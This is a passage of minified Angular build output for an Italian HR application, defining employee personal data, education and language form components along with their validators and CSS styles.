p[_ngcontent-%COMP%]{text-overflow:ellipsis;white-space:nowrap;color:#8e9499;margin-bottom:0}.th-modis[_ngcontent-%COMP%]{vertical-align:middle!important}.thCustomWidth[_ngcontent-%COMP%]{width:110px}.columnKanban[_ngcontent-%COMP%]{min-height:600px;margin:5px;max-width:12.2857142857%!important;flex:0 0 12.2857142857%!important}.columnKanban[_ngcontent-%COMP%], .taskKanban[_ngcontent-%COMP%]{background-color:#fff;border-radius:3px}.taskKanban[_ngcontent-%COMP%]{box-shadow:1px 1px 3px;border:1px solid #d3d3d3;padding:5px}.titleColumnKanban[_ngcontent-%COMP%]{font-size:13.5px;text-transform:uppercase}.user__img[_ngcontent-%COMP%]{width:1.5rem;height:1.5rem;border-radius:50%;position:absolute;left:1rem;top:0;bottom:0;margin:auto}.example-container[_ngcontent-%COMP%]{width:400px;max-width:100%;margin:0 25px 25px 0;display:inline-block;vertical-align:top}.example-list[_ngcontent-%COMP%]{border:1px solid #ccc;min-height:60px;background:#fff;border-radius:4px;overflow:hidden;display:block}.example-box[_ngcontent-%COMP%]{border-bottom:1px solid #ccc;color:rgba(0,0,0,.87);display:flex;flex-direction:row;align-items:center;justify-content:space-between;box-sizing:border-box;cursor:move;background:#fff;font-size:14px}.cdk-drag-preview[_ngcontent-%COMP%]{box-sizing:border-box;border-radius:4px;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)}.cdk-drag-placeholder[_ngcontent-%COMP%]{opacity:0}.cdk-drag-animating[_ngcontent-%COMP%]{transition:transform .25s cubic-bezier(0,0,.2,1)}.example-box[_ngcontent-%COMP%]:last-child{border:none}.example-list.cdk-drop-list-dragging[_ngcontent-%COMP%]   .example-box[_ngcontent-%COMP%]:not(.cdk-drag-placeholder){transition:transform .25s cubic-bezier(0,0,.2,1)}.drop-zone[_ngcontent-%COMP%]{margin:40px}.customKanban[_ngcontent-%COMP%]{justify-content:center}.aggiornatoData[_ngcontent-%COMP%]{font-size:10px;color:#d3d3d3}.no-result[_ngcontent-%COMP%]{border:1px solid orange!important;background:#fbfbfb!important;color:#333!important;padding:10px;font-size:14px;text-align:center;margin:10px}.card-body__title[_ngcontent-%COMP%]{margin-bottom:0!important}"]}),R),$=a("mrSG"),B=a("SxV6"),Y=a("vkgz"),H=a("WD1m"),Z=a("d0ze"),X=a("kvL/"),ee=a("bBYx"),te=a("aCXV"),ie=["mobilitazioneSelector"],ne=function(e){return["form-control",e]};function oe(e,t){if(1&e){var i=y.Wb();y.Vb(0,"div",5),y.Vb(1,"h3",6),y.Ic(2),y.hc(3,"translate"),y.Vb(4,"label",7),y.Ic(5,"*"),y.Ub(),y.Ub(),y.Vb(6,"div",8),y.Vb(7,"app-datetime-manager",13),y.cc("modelChange",function(e){return y.Ac(i),y.gc()._form.controls.residency_validity.value=e}),y.Ub(),y.Qb(8,"i",10),y.Vb(9,"div",11),y.Ic(10),y.hc(11,"translate"),y.Ub(),y.Ub(),y.Ub()}if(2&e){var n=y.gc();y.Cb(2),y.Jc(y.ic(3,5,"Scadenza permesso di soggiorno")),y.Cb(5),y.nc("disabled",n._form.disabled)("model",n._form.controls.residency_validity.value)("inputClass",y.rc(9,ne,n.validateField("residency_validity",n._form,n.isInEdit))),y.Cb(3),y.Kc(" ",y.ic(11,7,"Inserire una data valida!")," ")}}var ae=function(){return["form-control"]};function re(e,t){1&e&&(y.Vb(0,"div",5),y.Vb(1,"h3",6),y.Ic(2),y.hc(3,"translate"),y.Ub(),y.Vb(4,"div",8),y.Qb(5,"input",32),y.Qb(6,"i",10),y.Vb(7,"div",11),y.Ic(8),y.hc(9,"translate"),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(2),y.Kc("",y.ic(3,3,"Partita Iva")," "),y.Cb(3),y.nc("ngClass",y.qc(7,ae)),y.Cb(3),y.Kc(" ",y.ic(9,5,"Inserire una partita iva valida e correttamente formattata!")," "))}var ce=function(){return["form-control","border-select"]};function le(e,t){if(1&e){var i=y.Wb();y.Vb(0,"div",8),y.Vb(1,"ng-select",33,34),y.cc("change",function(e){return y.Ac(i),y.gc().onMobilitazioneAdd(e)}),y.Ub(),y.Qb(3,"i",10),y.Ub()}if(2&e){var n=y.gc();y.Cb(1),y.nc("items",n.options.mobilitazioneOptions)("ngClass",y.qc(2,ce))}}function se(e,t){if(1&e){var i=y.Wb();y.Vb(0,"span",35),y.Ic(1),y.Vb(2,"i",36),y.cc("click",function(){y.Ac(i);var e=t.$implicit;return y.gc().onMobilitazioneRemove(e)}),y.Ub(),y.Ub()}if(2&e){var n=t.$implicit;y.Cb(1),y.Kc("",n,"\xa0")}}var be,de=function(e){return["form-control","border-select",e]},me=((be=function(i){t(a,i);var o=n(a);function a(e){var t;return s(this,a),(t=o.call(this,e,"FormGroup")).dropzoneCfgAnagrafica={url:_.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},t}return d(a,[{key:"newInnerFormItem",get:function(){return this.fb.group({name:[null,[g.v.required,g.v.maxLength(30)]],surname:[null,[g.v.required,g.v.maxLength(30)]],birth_date:[null],cdf:["",[g.v.maxLength(16),g.v.minLength(16),g.v.pattern("[a-zA-Z]{6}[0-9]{2}[a-zA-Z][0-9]{2}[a-zA-Z][0-9]{3}[a-zA-Z]")]],email:["",[g.v.required,g.v.email]],pec:["",[g.v.email]],cellular:["",[g.v.minLength(8),g.v.maxLength(32),g.v.pattern("[0-9() +-]+")]],jobtitle:[null],id_residence_state:[null],residency_validity:[null,[g.v.required]],piva:[null],recruitmentSource:[null],gdpr:[!1,[g.v.requiredTrue]],mobilitazione:[[]],marketing_consent:[!1],is_piva:[!1],photo_profile:[null]})}},{key:"onMobilitazioneAdd",value:function(t){if(t&&t.name){var i=this._form.get("mobilitazione").value;0==(i?i.filter(function(e){return e.name==t.name}):[]).length&&(i instanceof Array?this._form.get("mobilitazione").setValue([].concat(e(i),[t.name])):this._form.get("mobilitazione").setValue([t.name]))}this.mobilitazioneSelector.handleClearClick()}},{key:"onMobilitazioneRemove",value:function(e){var t=this._form.get("mobilitazione").value.filter(function(t){return t!=e});this._form.get("mobilitazione").setValue(t)}},{key:"drop",value:function(e){Object(te.e)(this._form.get("mobilitazione").value,e.previousIndex,e.currentIndex)}}]),a}(ee.a)).\u0275fac=function(e){return new(e||be)(y.Pb(g.e))},be.\u0275cmp=y.Jb({type:be,selectors:[["app-employee-view-edit-anagrafica"]],viewQuery:function(e,t){var i;1&e&&y.Mc(ie,1),2&e&&y.wc(i=y.dc())&&(t.mobilitazioneSelector=i.first)},features:[y.zb],decls:138,vars:108,consts:[[1,"row","mb-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"formGroup"],[1,"row"],[1,"col-md-6"],[1,"card-body__title"],[1,"label-red-required"],[1,"form-group"],["type","text","formControlName","name",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","surname",3,"ngClass"],["placeholder","","mode","day","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","cdf",3,"ngClass"],["type","text","formControlName","email",3,"ngClass"],["type","text","formControlName","pec",3,"ngClass"],["type","text","formControlName","cellular",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","jobtitle",3,"items","ngClass"],["bindLabel","nome","bindValue","nome","placeholder","","formControlName","id_residence_state",3,"items","markFirst","ngClass"],["class","col-md-6",4,"ngIf"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","is_piva",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],["class","form-group",4,"ngIf"],["cdkDropList","","cdkDropListOrientation","horizontal",1,"my-4",3,"cdkDropListDropped"],["cdkDrag","","class","badge badge-light m-1 customBadge",4,"ngFor","ngForOf"],["bindLabel","name","bindValue","name","placeholder","","formControlName","recruitmentSource",3,"items","ngClass","addTag","addTagText"],["type","checkbox","formControlName","gdpr",1,"toggle-switch__checkbox"],["type","checkbox","formControlName","marketing_consent",1,"toggle-switch__checkbox"],["type","text","formControlName","piva",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","",3,"items","ngClass","change"],["mobilitazioneSelector",""],["cdkDrag","",1,"badge","badge-light","m-1","customBadge"],[1,"zmdi","zmdi-close",3,"click"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"form",3),y.Vb(6,"div",4),y.Vb(7,"div",5),y.Vb(8,"h3",6),y.Ic(9),y.hc(10,"translate"),y.Vb(11,"label",7),y.Ic(12,"*"),y.Ub(),y.Ub(),y.Vb(13,"div",8),y.Qb(14,"input",9),y.Qb(15,"i",10),y.Vb(16,"div",11),y.Ic(17),y.hc(18,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(19,"div",5),y.Vb(20,"h3",6),y.Ic(21),y.hc(22,"translate"),y.Vb(23,"label",7),y.Ic(24,"*"),y.Ub(),y.Ub(),y.Vb(25,"div",8),y.Qb(26,"input",12),y.Qb(27,"i",10),y.Vb(28,"div",11),y.Ic(29),y.hc(30,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(31,"div",5),y.Vb(32,"h3",6),y.Ic(33),y.hc(34,"translate"),y.Ub(),y.Vb(35,"div",8),y.Vb(36,"app-datetime-manager",13),y.cc("modelChange",function(e){return t._form.controls.birth_date.value=e}),y.Ub(),y.Qb(37,"i",10),y.Ub(),y.Ub(),y.Vb(38,"div",5),y.Vb(39,"h3",6),y.Ic(40),y.hc(41,"translate"),y.Ub(),y.Vb(42,"div",8),y.Qb(43,"input",14),y.Qb(44,"i",10),y.Vb(45,"div",11),y.Ic(46),y.hc(47,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(48,"div",5),y.Vb(49,"h3",6),y.Ic(50),y.hc(51,"translate"),y.Vb(52,"label",7),y.Ic(53,"*"),y.Ub(),y.Ub(),y.Vb(54,"div",8),y.Qb(55,"input",15),y.Qb(56,"i",10),y.Vb(57,"div",11),y.Ic(58),y.hc(59,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(60,"div",5),y.Vb(61,"h3",6),y.Ic(62),y.hc(63,"translate"),y.Ub(),y.Vb(64,"div",8),y.Qb(65,"input",16),y.Qb(66,"i",10),y.Vb(67,"div",11),y.Ic(68),y.hc(69,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(70,"div",5),y.Vb(71,"h3",6),y.Ic(72),y.hc(73,"translate"),y.Ub(),y.Vb(74,"div",8),y.Qb(75,"input",17),y.Qb(76,"i",10),y.Vb(77,"div",11),y.Ic(78),y.hc(79,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(80,"div",5),y.Vb(81,"h3",6),y.Ic(82),y.hc(83,"translate"),y.Ub(),y.Vb(84,"div",8),y.Qb(85,"ng-select",18),y.Qb(86,"i",10),y.Ub(),y.Ub(),y.Vb(87,"div",5),y.Vb(88,"h3",6),y.Ic(89),y.hc(90,"translate"),y.Ub(),y.Vb(91,"div",8),y.Qb(92,"ng-select",19),y.Qb(93,"i",10),y.Ub(),y.Ub(),y.Gc(94,oe,12,11,"div",20),y.Vb(95,"div",5),y.Vb(96,"h3",21),y.Ic(97),y.hc(98,"translate"),y.Ub(),y.Vb(99,"div",22),y.Vb(100,"div",23),y.Qb(101,"input",24),y.Qb(102,"i",25),y.Ub(),y.Ub(),y.Ub(),y.Gc(103,re,10,8,"div",20),y.Vb(104,"div",5),y.Vb(105,"h3",6),y.Ic(106),y.hc(107,"translate"),y.Ub(),y.Gc(108,le,4,3,"div",26),y.Vb(109,"div",27),y.cc("cdkDropListDropped",function(e){return t.drop(e)}),y.Gc(110,se,3,1,"span",28),y.Ub(),y.Ub(),y.Vb(111,"div",5),y.Vb(112,"h3",6),y.Ic(113),y.hc(114,"translate"),y.Ub(),y.Vb(115,"div",8),y.Qb(116,"ng-select",29),y.hc(117,"translate"),y.Qb(118,"i",10),y.Ub(),y.Ub(),y.Vb(119,"div",5),y.Vb(120,"div",8),y.Vb(121,"h3",21),y.Ic(122),y.hc(123,"translate"),y.Ub(),y.Vb(124,"div",22),y.Vb(125,"div",23),y.Qb(126,"input",30),y.Qb(127,"i",25),y.Ub(),y.Ub(),y.Qb(128,"i",10),y.Ub(),y.Ub(),y.Vb(129,"div",5),y.Vb(130,"div",8),y.Vb(131,"h3",21),y.Ic(132),y.hc(133,"translate"),y.Ub(),y.Vb(134,"div",22),y.Vb(135,"div",23),y.Qb(136,"input",31),y.Qb(137,"i",25),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,44,"Anagrafica")," "),y.Cb(2),y.nc("formGroup",t._form),y.Cb(4),y.Kc("",y.ic(10,46,"Nome")," "),y.Cb(5),y.nc("ngClass",y.rc(88,ne,t.validateField("name",t._form,t.isInEdit))),y.Cb(3),y.Kc("",y.ic(18,48,"Il nome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),y.Cb(4),y.Kc("",y.ic(22,50,"Cognome")," "),y.Cb(5),y.nc("ngClass",y.rc(90,ne,t.validateField("surname",t._form,t.isInEdit))),y.Cb(3),y.Kc(" ",y.ic(30,52,"Il cognome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),y.Cb(4),y.Kc("",y.ic(34,54,"Data di Nascita")," "),y.Cb(3),y.nc("disabled",t._form.disabled)("model",t._form.controls.birth_date.value)("inputClass",y.rc(92,ne,t.validateField("birth_date",t._form,t.isInEdit))),y.Cb(4),y.Kc("",y.ic(41,56,"Codice Fiscale")," "),y.Cb(3),y.nc("ngClass",y.rc(94,ne,t.validateField("cdf",t._form,t.isInEdit))),y.Cb(3),y.Kc(" ",y.ic(47,58,"Il codice fiscale \xe8 composto da 16 caratteri e deve essere correttamente formattato!")," "),y.Cb(4),y.Kc("",y.ic(51,60,"Email")," "),y.Cb(5),y.nc("ngClass",y.rc(96,ne,t.validateField("email",t._form,t.isInEdit))),y.Cb(3),y.Kc(" ",y.ic(59,62,"La mail \xe8 obbligatoria e deve essere correttamente formattata!")," "),y.Cb(4),y.Kc("",y.ic(63,64,"Pec")," "),y.Cb(3),y.nc("ngClass",y.rc(98,ne,t.validateField("pec",t._form,t.isInEdit))),y.Cb(3),y.Kc(" ",y.ic(69,66,"La PEC deve essere correttamente formattata!")," "),y.Cb(4),y.Kc("",y.ic(73,68,"Cellulare")," "),y.Cb(3),y.nc("ngClass",y.rc(100,ne,t.validateField("cellular",t._form,t.isInEdit))),y.Cb(3),y.Kc(" ",y.ic(79,70,"Il numero di telefono deve contenere solo numeri!")," "),y.Cb(4),y.Jc(y.ic(83,72,"Job Title")),y.Cb(3),y.nc("items",t.options.jobTitleOption)("ngClass",y.rc(102,de,t.validateField("jobtitle",t._form,t.isInEdit))),y.Cb(4),y.Jc(y.ic(90,74,"Nazione di residenza")),y.Cb(3),y.nc("items",t.options.nationOptions)("markFirst",!0)("ngClass",y.rc(104,de,t.validateField("id_residence_state",t._form,t.isInEdit))),y.Cb(2),y.nc("ngIf",t._form.controls.id_residence_state.value&&"Italia"!==t._form.controls.id_residence_state.value),y.Cb(3),y.Kc("",y.ic(98,76,"Ha Partita Iva")," "),y.Cb(6),y.nc("ngIf",t._form.controls.is_piva.value),y.Cb(3),y.Kc("",y.ic(107,78,"Disponibilt\xe0 Geografica")," "),y.Cb(2),y.nc("ngIf",t.isInEdit),y.Cb(2),y.nc("ngForOf",t._form.get("mobilitazione").value),y.Cb(3),y.Kc("",y.ic(114,80,"Fonte di reclutamento")," "),y.Cb(3),y.nc("items",t.options.recruitmentOptions)("ngClass",y.rc(106,de,t.validateField("recruitmentSource",t._form,t.isInEdit)))("addTag",!0)("addTagText",y.ic(117,82,"Premi invio per aggiungere il nuovo valore")),y.Cb(6),y.Kc("",y.ic(123,84,"GDPR")," "),y.Cb(10),y.Kc("",y.ic(133,86,"Consenso Marketing")," "))},directives:[g.w,g.o,g.i,g.c,g.n,g.g,I.l,x.a,z.a,I.n,g.a,te.b,I.m,te.a],pipes:[k.c],styles:[""]}),be),ue=a("S8xs");function pe(e,t){if(1&e){var i=y.Wb();y.Vb(0,"span",37),y.cc("click",function(){y.Ac(i);var e=y.gc().index;return y.gc()._form.removeAt(e)}),y.Qb(1,"i",38),y.Ub()}if(2&e){var n=y.gc(2);y.nc("hidden",!n._isInEdit)}}var ge=function(e){return["form-control",e]};function fe(e,t){if(1&e){var i=y.Wb();y.Vb(0,"div",23),y.Vb(1,"h3",20),y.Ic(2),y.hc(3,"translate"),y.Ub(),y.Vb(4,"div",21),y.Vb(5,"app-datetime-manager",39),y.cc("modelChange",function(e){return y.Ac(i),y.gc().$implicit.controls.dateAttainment.value=e}),y.Ub(),y.Qb(6,"i",32),y.Ub(),y.Ub()}if(2&e){var n=y.gc().$implicit,o=y.gc();y.Cb(2),y.Kc("",y.ic(3,4,"Data Conseguimento")," "),y.Cb(3),y.nc("disabled",o._form.disabled)("model",n.controls.dateAttainment.value)("inputClass",y.rc(6,ge,o.validateField("dateAttainment",n,o.isInEdit)))}}function ve(e,t){1&e&&(y.Vb(0,"div",23),y.Vb(1,"h3",27),y.Ic(2),y.hc(3,"translate"),y.Ub(),y.Vb(4,"div",28),y.Vb(5,"div",29),y.Qb(6,"input",40),y.Qb(7,"i",31),y.Ub(),y.Ub(),y.Qb(8,"i",32),y.Ub()),2&e&&(y.Cb(2),y.Kc("",y.ic(3,1,"Con lode")," "))}var he=function(e){return["form-control","border-select",e]};function Ce(e,t){if(1&e){var i=y.Wb();y.Vb(0,"accordion-group",12),y.Vb(1,"button",13),y.Vb(2,"div",14),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Vb(5,"div",15),y.Vb(6,"span",16),y.Qb(7,"i",17),y.Ub(),y.Gc(8,pe,2,1,"span",18),y.Ub(),y.Ub(),y.Vb(9,"div",19),y.Vb(10,"div",4),y.Vb(11,"h3",20),y.Ic(12),y.hc(13,"translate"),y.Ub(),y.Vb(14,"div",21),y.Vb(15,"ng-select",22),y.cc("change",function(e){y.Ac(i);var n=t.index;return y.gc().selectSchool(e,n)})("search",function(e){y.Ac(i);var n=t.index;return y.gc().filtraScuole(e,n)}),y.hc(16,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(17,"div",23),y.Vb(18,"h3",20),y.Ic(19),y.hc(20,"translate"),y.Ub(),y.Vb(21,"div",21),y.Qb(22,"ng-select",24),y.hc(23,"translate"),y.Ub(),y.Ub(),y.Vb(24,"div",23),y.Vb(25,"h3",20),y.Ic(26),y.hc(27,"translate"),y.Ub(),y.Vb(28,"div",21),y.Qb(29,"ng-select",25),y.hc(30,"translate"),y.Ub(),y.Ub(),y.Vb(31,"div",23),y.Vb(32,"h3",20),y.Ic(33),y.hc(34,"translate"),y.Ub(),y.Vb(35,"div",21),y.Qb(36,"ng-select",26),y.hc(37,"translate"),y.Ub(),y.Ub(),y.Vb(38,"div",23),y.Vb(39,"div",21),y.Vb(40,"h3",27),y.Ic(41),y.hc(42,"translate"),y.Ub(),y.Vb(43,"div",28),y.Vb(44,"div",29),y.Qb(45,"input",30),y.Qb(46,"i",31),y.Ub(),y.Ub(),y.Qb(47,"i",32),y.Ub(),y.Ub(),y.Gc(48,fe,7,8,"div",33),y.Vb(49,"div",23),y.Vb(50,"h3",20),y.Ic(51),y.hc(52,"translate"),y.Ub(),y.Vb(53,"div",21),y.Qb(54,"input",34),y.Ub(),y.Ub(),y.Gc(55,ve,9,3,"div",33),y.Vb(56,"div",23),y.Vb(57,"h3",20),y.Ic(58),y.hc(59,"translate"),y.Ub(),y.Vb(60,"div",21),y.Qb(61,"ng-select",35),y.Ub(),y.Ub(),y.Vb(62,"div",23),y.Vb(63,"h3",20),y.Ic(64),y.hc(65,"translate"),y.Ub(),y.Vb(66,"div",21),y.Qb(67,"ng-select",36),y.Ub(),y.Ub(),y.Ub(),y.Ub()}if(2&e){var n=t.$implicit,o=t.index,a=y.gc();y.Cb(3),y.Kc(" ",n.controls.prof_educ_name.value?n.controls.prof_educ_name.value+" "+n.controls.prof_educ_level.value:y.ic(4,34,"Istruzione")+" #"+(o+1)," "),y.Cb(5),y.nc("ngIf",a._form.length>1),y.Cb(1),y.nc("formGroup",n),y.Cb(3),y.Kc("",y.ic(13,36,"Nome dell'Istituto")," "),y.Cb(3),y.nc("items",a.options.schoolsFiltered[o])("addTag",!0)("addTagText",y.ic(16,38,"Premi invio per aggiungere il nuovo valore"))("ngClass",y.rc(60,he,a.validateField("istruction_school",n,a.isInEdit))),y.Cb(4),y.Jc(y.ic(20,40,"Tipologia")),y.Cb(3),y.nc("items",a.options.educOptions)("ngClass",y.rc(62,he,a.validateField("prof_educ_name",n,a.isInEdit)))("addTag",!0)("addTagText",y.ic(23,42,"Premi invio per aggiungere il nuovo valore")),y.Cb(4),y.Kc("",y.ic(27,44,"Livello")," "),y.Cb(3),y.nc("items",a.options.educLevelOptions)("ngClass",y.rc(64,he,a.validateField("prof_educ_level",n,a.isInEdit)))("addTag",!0)("addTagText",y.ic(30,46,"Premi invio per aggiungere il nuovo valore")),y.Cb(4),y.Kc("",y.ic(34,48,"Titolo di studio")," "),y.Cb(3),y.nc("items",a.options.educTitlesOptions)("ngClass",y.rc(66,he,a.validateField("prof_educ_title",n,a.isInEdit)))("addTag",!0)("addTagText",y.ic(37,50,"Premi invio per aggiungere il nuovo valore")),y.Cb(5),y.Kc("",y.ic(42,52,"Titolo Conseguito")," "),y.Cb(7),y.nc("ngIf",n.controls.titoloConseguito.value),y.Cb(3),y.Jc(y.ic(52,54,"Voto")),y.Cb(3),y.nc("ngClass",y.rc(68,ge,a.validateField("prof_educ_vote",n,a.isInEdit))),y.Cb(1),y.nc("ngIf",n.controls.prof_educ_vote.value>=100),y.Cb(3),y.Kc("",y.ic(59,56,"Regione")," "),y.Cb(3),y.nc("items",a.options.regions)("ngClass",y.rc(70,he,a.validateField("istruction_region",n,a.isInEdit))),y.Cb(3),y.Kc("",y.ic(65,58,"Comune")," "),y.Cb(3),y.nc("items",a.options.cityOptions)("ngClass",y.rc(72,he,a.validateField("istruction_city",n,a.isInEdit)))}}var Ve,Ue=function(e){return["row",e]},_e=((Ve=function(e){t(o,e);var i=n(o);function o(e,t){var n;return s(this,o),(n=i.call(this,e,"FormArray",!0)).utilsService=t,n}return d(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({prof_educ_name:[null],prof_educ_level:[null],prof_educ_title:[null],titoloConseguito:[!1],dateAttainment:[null],prof_educ_vote:[null],istruction_region:[null],istruction_city:[null],istruction_school:[null],instructionHasLode:[!1]})}},{key:"selectSchool",value:function(e,t){var i="",n="",o="";e&&e.nome_scuola&&(i=e.regione,n=e.comune,o=e.nome_scuola);var a=this._form.controls[t];a.controls.istruction_region.setValue(i),a.controls.istruction_city.setValue(n),this.filtraScuole({term:o},t)}},{key:"filtraScuole",value:function(e,t){var i=this;e&&e.term&&e.term.length>2&&this.utilsService.searchSchools(e.term).subscribe(function(e){e.status&&(i.options.schoolsFiltered[t]=e.message)})}}]),o}(ee.a)).\u0275fac=function(e){return new(e||Ve)(y.Pb(g.e),y.Pb(f.a))},Ve.\u0275cmp=y.Jb({type:Ve,selectors:[["app-employee-view-edit-istruzione"]],features:[y.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"card-body__title"],[1,"form-group"],["bindLabel","nome_scuola","bindValue","nome_scuola","placeholder","","formControlName","istruction_school",3,"items","addTag","addTagText","ngClass","change","search"],[1,"col-md-6"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_name",3,"items","ngClass","addTag","addTagText"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_level",3,"items","ngClass","addTag","addTagText"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_title",3,"items","ngClass","addTag","addTagText"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","titoloConseguito",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"form-group__bar"],["class","col-md-6",4,"ngIf"],["type","text","formControlName","prof_educ_vote",3,"ngClass"],["bindLabel","nome_regione","bindValue","nome_regione","placeholder","","formControlName","istruction_region",3,"items","ngClass"],["bindLabel","nome_comune","bindValue","nome_comune","placeholder","","formControlName","istruction_city",3,"items","ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],["placeholder","","mode","month","format","MM / YYYY","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","checkbox","formControlName","instructionHasLode",1,"toggle-switch__checkbox"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"div",3),y.Vb(6,"div",4),y.Vb(7,"accordion",5),y.Gc(8,Ce,68,74,"accordion-group",6),y.Ub(),y.Ub(),y.Vb(9,"div",7),y.Qb(10,"br"),y.Vb(11,"a",8),y.cc("click",function(){return t.addItem()}),y.Qb(12,"i",9),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"a",10),y.cc("click",function(){return t.removeEmpty(t._form)}),y.Qb(16,"i",11),y.Ic(17),y.hc(18,"translate"),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,6,"Istruzione")," "),y.Cb(2),y.nc("ngClass",y.rc(12,Ue,t.rowStyle)),y.Cb(3),y.nc("ngForOf",t._form.controls),y.Cb(1),y.nc("hidden",!t._isInEdit),y.Cb(4),y.Kc("",y.ic(14,8,"Aggiungi Istruzione")," "),y.Cb(4),y.Kc("",y.ic(18,10,"Rimuovi Istruzioni Vuote")," "))},directives:[I.l,ue.a,I.m,ue.c,I.n,g.o,g.i,z.a,g.n,g.g,g.a,g.c,x.a],pipes:[k.c],styles:[""]}),Ve);function ye(e,t){if(1&e&&(y.Qb(0,"span"),y.hc(1,"lowercase")),2&e){var i=y.gc().$implicit;y.Fb("fi fi-",y.ic(1,3,i.controls.lang_language.value.flag),"")}}function Ie(e,t){if(1&e){var i=y.Wb();y.Vb(0,"span",29),y.cc("click",function(){y.Ac(i);var e=y.gc().index;return y.gc()._form.removeAt(e)}),y.Qb(1,"i",30),y.Ub()}if(2&e){var n=y.gc(2);y.nc("hidden",!n._isInEdit)}}var xe=function(e){return["form-control","border-select",e]},ze=function(e){return["form-control","textareaCustom",e]};function Oe(e,t){if(1&e){var i=y.Wb();y.Vb(0,"accordion-group",12),y.Vb(1,"button",13),y.Vb(2,"div",14),y.Gc(3,ye,2,5,"span",15),y.Ic(4),y.hc(5,"translate"),y.Ub(),y.Vb(6,"div",16),y.Vb(7,"span",17),y.Qb(8,"i",18),y.Ub(),y.Gc(9,Ie,2,1,"span",19),y.Ub(),y.Ub(),y.Vb(10,"div",20),y.Vb(11,"div",21),y.Vb(12,"h3",22),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"div",23),y.Vb(16,"ng-select",24),y.cc("change",function(e){return y.Ac(i),y.gc().setFlag(e)}),y.hc(17,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(18,"div",21),y.Vb(19,"h3",22),y.Ic(20),y.hc(21,"translate"),y.Ub(),y.Vb(22,"div",23),y.Qb(23,"ng-select",25),y.Ub(),y.Ub(),y.Vb(24,"div",21),y.Vb(25,"h3",22),y.Ic(26),y.hc(27,"translate"),y.Ub(),y.Vb(28,"div",23),y.Qb(29,"ng-select",26),y.Ub(),y.Ub(),y.Vb(30,"div",4),y.Vb(31,"h3",22),y.Ic(32),y.hc(33,"translate"),y.Ub(),y.Vb(34,"div",23),y.Vb(35,"textarea",27),y.Ic(36,"                            "),y.Ub(),y.Qb(37,"i",28),y.Ub(),y.Ub(),y.Ub(),y.Ub()}if(2&e){var n=t.$implicit,o=t.index,a=y.gc();y.Cb(3),y.nc("ngIf",n.controls.lang_language.value&&n.controls.lang_language.value.flag),y.Cb(1),y.Kc(" ",n.controls.lang_language.value?n.controls.lang_language.value.name:y.ic(5,17,"Lingua")+" #"+(o+1)," "),y.Cb(5),y.nc("ngIf",a._form.length>1),y.Cb(1),y.nc("formGroup",n),y.Cb(3),y.Kc("",y.ic(14,19,"Lingua")," "),y.Cb(3),y.nc("items",a.options.languagesListOpt)("ngClass",y.rc(29,xe,a.validateField("lang_language",n,a.isInEdit)))("addTag",!0)("addTagText",y.ic(17,21,"Premi invio per aggiungere il nuovo valore")),y.Cb(4),y.Kc("",y.ic(21,23,"Parlato")," 